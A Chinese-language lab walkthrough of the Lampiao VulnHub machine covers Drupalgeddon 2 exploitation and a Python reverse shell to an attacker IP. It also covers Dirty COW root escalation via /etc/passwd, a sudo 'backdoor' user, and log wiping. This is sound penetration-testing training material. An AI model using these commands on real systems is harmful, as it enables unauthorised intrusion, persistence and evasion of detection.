1. 项目概述与核心价值最近在整理内部安全培训的实战案例库一个经典的Lampiao靶场又进入了我的视野。这个靶场之所以经久不衰是因为它完美地串联了从Web应用漏洞到系统内核漏洞的完整攻击链尤其是那个标志性的“脏牛”Dirty COW提权简直是内网渗透和权限提升的教科书级场景。很多朋友可能在网上看过一些简略的攻略知道大概步骤是“Drupal漏洞拿shell - 信息收集 - 脏牛提权”但真正自己动手时往往卡在某个细节上比如Drupal的exp怎么用、反弹shell为什么没回连、脏牛的exp编译不通过等等。这篇文章我就以“从Drupal 7.54到Root手把手复现Lampiao靶场”为核心不仅会一步步带你走通整个流程更重要的是我会把每一步背后的原理、踩过的坑、以及两种不同的“脏牛”提权实战方法包括一种更稳定、兼容性更好的备用方案掰开揉碎了讲清楚。无论你是正在备考OSCP等渗透测试认证还是想深入理解漏洞利用的衔接艺术这个靶场都能给你带来远超预期的收获。我们不止于“复现”更要深究“为什么这么做”以及“遇到问题怎么办”。2. 靶场环境搭建与拓扑解析在开始攻击之前我们必须先理解攻击目标。Lampiao靶场本质上是一个精心配置的、存在多个已知漏洞的Linux虚拟机。通常它被部署为一个独立的靶机运行着古老的Drupal 7.54 CMS并且其内核版本恰好存在“脏牛”漏洞CVE-2016-5195。我们的攻击机通常是Kali Linux和靶机处于同一网络段进行模拟内网攻击。2.1 靶机获取与初始化Lampiao靶场镜像可以从VulnHub等知名漏洞平台下载。下载完成后你需要一个虚拟化软件来运行它VMware Workstation或VirtualBox都是不错的选择。这里有一个关键点网络模式的选择。为了模拟最真实的渗透测试环境我强烈建议将靶机的网络适配器设置为“NAT模式”或“仅主机模式”而不是桥接模式。注意在“仅主机模式”下虚拟机会创建一个与物理主机隔离的私有网络。你需要为攻击机Kali和靶机Lampiao配置同一网段的静态IP或者确保虚拟化软件提供的DHCP服务正常工作。在VMware中编辑 - 虚拟网络编辑器里可以查看和配置“VMnet1”仅主机模式的子网地址。启动靶机后它通常不会显示IP地址。我们需要通过扫描来发现它。在Kali攻击机上使用netdiscover或nmap进行同一网段的ARP扫描是第一步。# 假设我们判断靶机可能在192.168.1.0/24网段 sudo netdiscover -r 192.168.1.0/24或者使用更全面的nmap扫描sudo nmap -sn 192.168.1.0/24扫描结果会列出存活的主机。找到那个主机名可能包含“Lampiao”或者运行着未知服务的IP地址记下来这就是我们的目标。假设我们发现的靶机IP是192.168.1.105。2.2 信息收集与端口扫描确定目标IP后下一步是进行细致的端口扫描以识别开放的服务和潜在的攻击面。我们使用Nmap的版本探测和脚本扫描功能。sudo nmap -sV -sC -p- 192.168.1.105 -oN lampiao_scan.txt-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-p-: 扫描所有65535个端口全端口扫描。-oN: 将结果输出到文件。扫描结果通常会显示类似以下内容PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Site doesnt have a title (text/html). 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Lampiao这里的关键发现是1898端口。80端口可能是一个默认页或重定向而1898端口才是真正运行着Drupal应用的业务端口。浏览器访问http://192.168.1.105:1898确认是Drupal站点并通过页面底部或查看源码确认其版本为Drupal 7.54。这个版本号是后续利用的基石。3. Drupal 7.54漏洞利用与WebShell获取Drupal 7.54版本存在一个著名的远程代码执行漏洞编号为CVE-2018-7600也被称为“Drupalgeddon 2”。该漏洞源于Drupal对表单渲染过程中的数组键名处理不当允许攻击者在未认证的情况下注入恶意代码并执行。3.1 漏洞原理浅析与利用工具选择简单来说Drupal在构建表单时会使用#开头的数组键值对作为属性。攻击者可以通过精心构造的POST请求将恶意命令注入到这些属性中并在后续的渲染过程中被执行为PHP代码。这个漏洞影响巨大利用方式也相对成熟。对于利用工具我们有多种选择手动构造EXP理解漏洞原理后可以自己编写Python脚本发送特定的POST请求。这对学习有益但效率不高。使用Metasploit模块exploit/unix/webapp/drupal_drupalgeddon2模块非常方便一键化。使用专门的Python EXP脚本网上有多个开源的单文件EXP例如drupalgeddon2.py轻量且易于定制。这里我推荐使用第三种方法因为它更透明便于我们观察整个利用过程并且在某些对Metasploit有限制的环境中也能使用。我们可以从GitHub上搜索并下载一个可靠的drupalgeddon2.py脚本。3.2 实战利用过程详解假设我们下载的脚本名为drupalgeddon2.py。它的典型用法是python3 drupalgeddon2.py -t http://192.168.1.105:1898 -c ‘whoami’-t: 指定目标URL。-c: 指定要执行的系统命令。如果漏洞存在且利用成功我们会看到命令执行的结果例如输出www-data这证明了我们拥有了在Web服务器权限下执行命令的能力。然而执行单条命令并不是我们的最终目的。我们需要一个交互式的Shell以便进行更复杂的信息收集和后续操作。这里我们通常使用反向Shell。3.2.1 反向Shell的建立在攻击机上我们先监听一个端口准备接收来自靶机的连接。# 在Kali攻击机上执行 nc -lvnp 4444然后通过Drupal漏洞在靶机上执行一个反向连接的命令。由于目标环境可能没有netcat的-e参数支持我们需要使用其他方式。一个非常可靠的方法是使用Python的一行反向Shellpython3 drupalgeddon2.py -t http://192.168.1.105:1898 -c ‘python3 -c “import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.100\”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\”/bin/sh\”, \”-i\”]);”’命令解释192.168.1.100需要替换为你Kali攻击机的IP地址。4444是攻击机上nc监听的端口。这行Python代码创建了一个socket连接到攻击机并将进程的标准输入、输出、错误流都重定向到这个socket然后启动了一个/bin/sh交互式Shell。执行成功后你会在Kali的nc监听窗口看到一个Shell提示符通常是$表示我们以www-data用户身份获得了反向Shell。实操心得反向Shell经常因为编码、特殊字符或环境问题失败。如果Python方法不行可以尝试其他语言如PHP、Perl、Bash的一行反向Shell代码。务必确保命令中的引号和反斜杠被正确传递。在drupalgeddon2.py的-c参数中传递复杂命令时转义是个技术活多试几次是常态。3.2.2 Shell稳定性优化直接获得的反向Shell通常是不稳定的没有TTY无法使用su、sudo、vi等命令按CtrlC会中断整个会话。我们需要将其升级为一个全功能TTY Shell。在已经建立的反向Shell中依次尝试以下命令# 方法1: Python pty python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ # 方法2: 使用script命令如果存在 script /dev/null -c bash # 方法3: 使用socat需要上传二进制文件较复杂但最稳定执行成功后再按CtrlZ将当前会话挂起到后台然后在Kali终端中输入stty raw -echo; fg接着按回车。现在你的Shell应该支持命令历史上下键、Tab补全看起来和本地终端一样了。记下这个稳定的Shell我们接下来的信息收集和提权操作都在这里进行。4. 内网信息收集与内核漏洞侦查拿到一个稳定的Web Shellwww-data用户后我们不能急着上提权EXP。就像入室盗窃得先摸清房间结构。系统性的信息收集能帮助我们选择最合适的提权路径并发现潜在的横向移动机会。4.1 系统与用户信息枚举首先了解我们所在的基本环境# 查看当前用户和权限 id whoami # 查看操作系统和内核版本 uname -a cat /etc/os-release lsb_release -a 2/dev/null # 查看主机名 hostname # 查看当前系统的进程寻找其他用户、数据库服务等 ps aux | grep -v “\[“ # 过滤内核线程查看用户进程 top -n 1 -b # 查看网络连接和监听端口 netstat -antup ss -tulpn # 查看arp缓存和路由表 arp -a route -n ip route这些命令的输出会告诉我们这是一个Ubuntu系统内核版本可能是3.13.0-32-generic之类的——这立刻让我们联想到“脏牛”漏洞的适用版本范围大约Linux kernel 2.x through 4.8.3。同时我们也能看到是否有其他用户登录是否有MySQL、Redis等服务运行。4.2 敏感文件与配置探查接下来寻找可能包含密码、密钥或配置信息的文件# 查看当前目录和网站根目录文件 pwd ls -la # 通常Drupal网站在 /var/www/html 或 /opt/lampp/htdocs 等位置 find /var/www -type f -name “*.php” -o -name “*.txt” -o -name “*.ini” 2/dev/null | head -20 # 查找配置文件中的密码 grep -r “password\|passwd\|PASS\|mysql\|DB” /var/www/html 2/dev/null | grep -v “.min.js” # 查看历史命令可能泄露敏感操作 cat ~/.bash_history history # 查看计划任务可能有以高权限运行的脚本 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看是否有sudo权限 sudo -lsudo -l命令至关重要。如果www-data用户被配置了无需密码即可运行某些命令的sudo权限比如sudo vi,sudo find,sudo perl等我们可能直接通过sudo滥用就能提权无需动用内核漏洞。但在Lampiao靶场中通常不会设置这种“低垂的果实”目的是引导我们练习内核漏洞利用。4.3 内核漏洞验证与EXP准备通过uname -a我们确认了内核版本在“脏牛”漏洞的影响范围内。接下来我们需要在靶机上下载或上传对应的提权EXP。在攻击机上我们提前准备好EXP源码。脏牛的EXP有很多变种我们准备两个经典的经典版(dirty.c): 流传最广但可能在较新系统或特定环境下编译失败或运行不稳定。改进版/备用版(cowroot.c或来自 exploit-db 的40839.c): 通常做了更多错误处理和兼容性优化。我们需要将EXP文件传到靶机上。有几种方法通过Web上传在靶机Web目录如/var/www/html有写权限的话可以在攻击机用Python启动一个HTTP服务在靶机用wget或curl下载。通过反向Shell直接写入如果靶机有echo或printf命令可以将EXP代码分块echo到文件中但过程繁琐。使用scp或sftp需要SSH密码或密钥此时我们通常没有。最通用的方法是在攻击机架设HTTP服务# 在Kali攻击机上进入存放EXP的目录 python3 -m http.server 8080然后在靶机的反向Shell中下载EXP# 在靶机Shell中执行 cd /tmp # 通常/tmp目录可写 wget http://192.168.1.100:8080/dirty.c wget http://192.168.1.100:8080/40839.c如果wget不存在可以尝试curl -O。5. “脏牛”提权两种实战方法详解文件准备就绪现在我们进入核心的提权环节。我将演示两种利用方法并详细解释其差异和注意事项。5.1 方法一经典脏牛EXP利用首先尝试编译和运行最经典的dirty.c。# 在靶机Shell中 gcc dirty.c -o dirty -pthread如果编译成功会生成一个名为dirty的可执行文件。如果编译报错常见的错误是缺少-pthread链接选项用于多线程或者某些头文件/函数定义不兼容。我们这个EXP通常能通过。运行前务必先备份当前的/etc/passwd文件因为该EXP的工作原理是篡改/etc/passwd将root用户的密码哈希替换为一个已知的通常是firefart用户对应的哈希存在一定风险虽然靶机无所谓。cp /etc/passwd /tmp/passwd.bak然后运行EXP./dirty运行后EXP会开始竞争条件race condition攻击。你会看到大量输出最终如果成功会显示类似“/etc/passwd successfully backed up to /tmp/passwd.bak”和“Popping root shell.”的信息并尝试启动一个root shell。成功迹象命令提示符从$变成了#执行id命令显示uid0(root)。可能遇到的问题及解决编译失败检查gcc是否安装which gcc尝试使用cc编译器或者根据错误信息修改源码例如注释掉某些不兼容的代码行。运行无反应或失败脏牛漏洞利用依赖于竞争条件成功率并非100%。多运行几次试试。也可以尝试其他版本的EXP。提权后的Shell功能不全即使获得了#提示符可能仍然不是完整的TTY。可以再次使用Python的pty.spawn(“/bin/bash”)进行升级。5.2 方法二备用/改进版脏牛EXP利用如果方法一反复失败或者你想尝试一种不同的利用思路那么备用EXP就派上用场了。我们以40839.cExploit-DB编号为例。这个EXP的利用方式可能略有不同。有些EXP不是直接替换/etc/passwd而是利用漏洞向/etc/passwd中写入一个新的root权限用户或者利用SUID二进制文件。同样先编译gcc 40839.c -o cowroot -pthread运行前仔细阅读EXP文件开头的注释了解其具体用法。例如它可能需要一个参数来指定要添加的用户名./cowroot myroot运行后它会尝试在/etc/passwd中创建一个名为myroot、密码为root或EXP中指定的密码的用户。成功后你可以切换到这个用户su myroot # 输入密码通常是 ‘root’ 或 ‘password’输入密码后你就获得了root权限的shell。核心避坑技巧两种方法的核心都是修改/etc/passwd。在实战中务必先备份。如果EXP运行后系统异常比如所有用户无法登录可以用备份文件恢复。在靶场中如果EXP运行导致系统崩溃或网络断开只需重启靶机即可。此外有些EXP会尝试清理痕迹有些则不会。获得root后记得检查/etc/passwd文件是否被改回原样或者是否留下了新的用户条目。5.3 提权后操作与痕迹清理靶场练习获得root权限后我们的目标基本达成。在靶场练习中我们还可以做以下几件事读取Flag文件通常靶机在/root或/home目录下存在flag.txt或proof.txt文件。find / -name “*flag*” -o -name “*proof*” 2/dev/null cat /root/flag.txt查看SSH密钥获取/root/.ssh/id_rsa私钥可用于免密登录。建立持久化后门例如添加一个具有sudo权限的新用户或者写入一个cron计划任务。# 添加用户 useradd -m -s /bin/bash backdoor passwd backdoor # 设置密码 usermod -aG sudo backdoor # 加入sudo组练习痕迹清理作为学习可以了解如何清理/var/log/auth.log,wtmp,lastlog等日志文件中的入侵记录仅限靶场环境切勿在未授权环境中使用。6. 常见问题排查与实战经验实录在整个复现过程中你几乎一定会遇到各种问题。下面我整理了一个速查表涵盖了从开始到结束最常见的“坑”及其解决方案。问题现象可能原因排查与解决思路Nmap扫描不到1898端口靶机未启动或网络配置错误1. 确认靶机已完全启动。2. 检查攻击机和靶机的网络模式是否在同一网段如都是VMnet1。3. 在靶机控制台使用ifconfig或ip addr查看其IP。4. 关闭攻击机防火墙sudo ufw disable。Drupal漏洞利用脚本执行命令无回显1. 漏洞利用失败。2. 命令语法错误或转义问题。3. 目标环境缺少命令。1. 使用-c ‘id’等简单命令测试。2. 尝试使用其他公开的EXP脚本。3. 检查命令中的引号、空格是否被正确传递尝试使用URL编码。4. 使用which python3等命令确认环境。反向Shell连接失败1. 攻击机监听命令错误。2. 靶机防火墙阻止出站连接。3. 反向Shell命令本身错误。1. 确认攻击机IP和监听端口正确且无其他程序占用端口。2. 尝试使用不同端口如4443, 5555。3. 尝试多种反向Shell负载Bash、Python、PHP、Perl。4. 在靶机上用curl http://攻击机IP:端口测试网络连通性。获得的Shell无法执行su、sudo等命令Shell不是完整TTY。使用Python、script或socat进行TTY升级具体命令见上文3.2.2节。脏牛EXP编译错误1. 缺少头文件或库。2. 编译器版本或环境不兼容。3. EXP源码针对特定内核。1. 安装build-essentialapt-get update apt-get install build-essential(需有apt权限)。2. 尝试使用cc代替gcc。3. 根据错误信息注释掉源码中不兼容的代码行如某些#include或函数调用。4. 换用另一个版本的脏牛EXP。脏牛EXP运行后系统无响应或崩溃竞争条件攻击导致内核不稳定。这是脏牛漏洞利用的固有风险。重启靶机虚拟机即可恢复。EXP运行成功但未获得root shell1. 利用成功但启动shell的方式失败。2./etc/passwd被修改但未生效。1. 手动尝试su firefart(经典EXP的默认用户) 并输入密码firefart。2. 检查/etc/passwd文件看是否多出了一个用户如firefart或你指定的用户。3. 使用 cat /etc/passwd找不到flag文件Flag文件位置不标准或名称不同。1. 使用find / -type f -name “*.txt” 2/dev/null全局查找文本文件。2. 检查/root,/home/*,/var/www等常见目录。3. 查看靶场描述页面可能提示了flag位置。我个人最深刻的体会是信息收集阶段的价值被严重低估了。很多新手一拿到Web Shell就急着找提权EXP却忽略了sudo -l、crontab -l、ps aux这些命令。我曾经在一个真实测试环境中通过sudo -l发现可以无密码运行/usr/bin/awk直接通过GTFOBins上的方法拿到了root比折腾内核漏洞快得多、静得多。所以“低垂的果实”永远要先摘。在Lampiao这个刻意引导的靶场里我们练习了内核漏洞这条艰难的路但请记住在真实世界系统性的枚举往往能发现更简单的路径。最后关于脏牛EXP的选择如果经典版屡试不爽不妨去Exploit-DB多找几个不同编号的版本存着总有一个能在特定的目标系统上开花结果。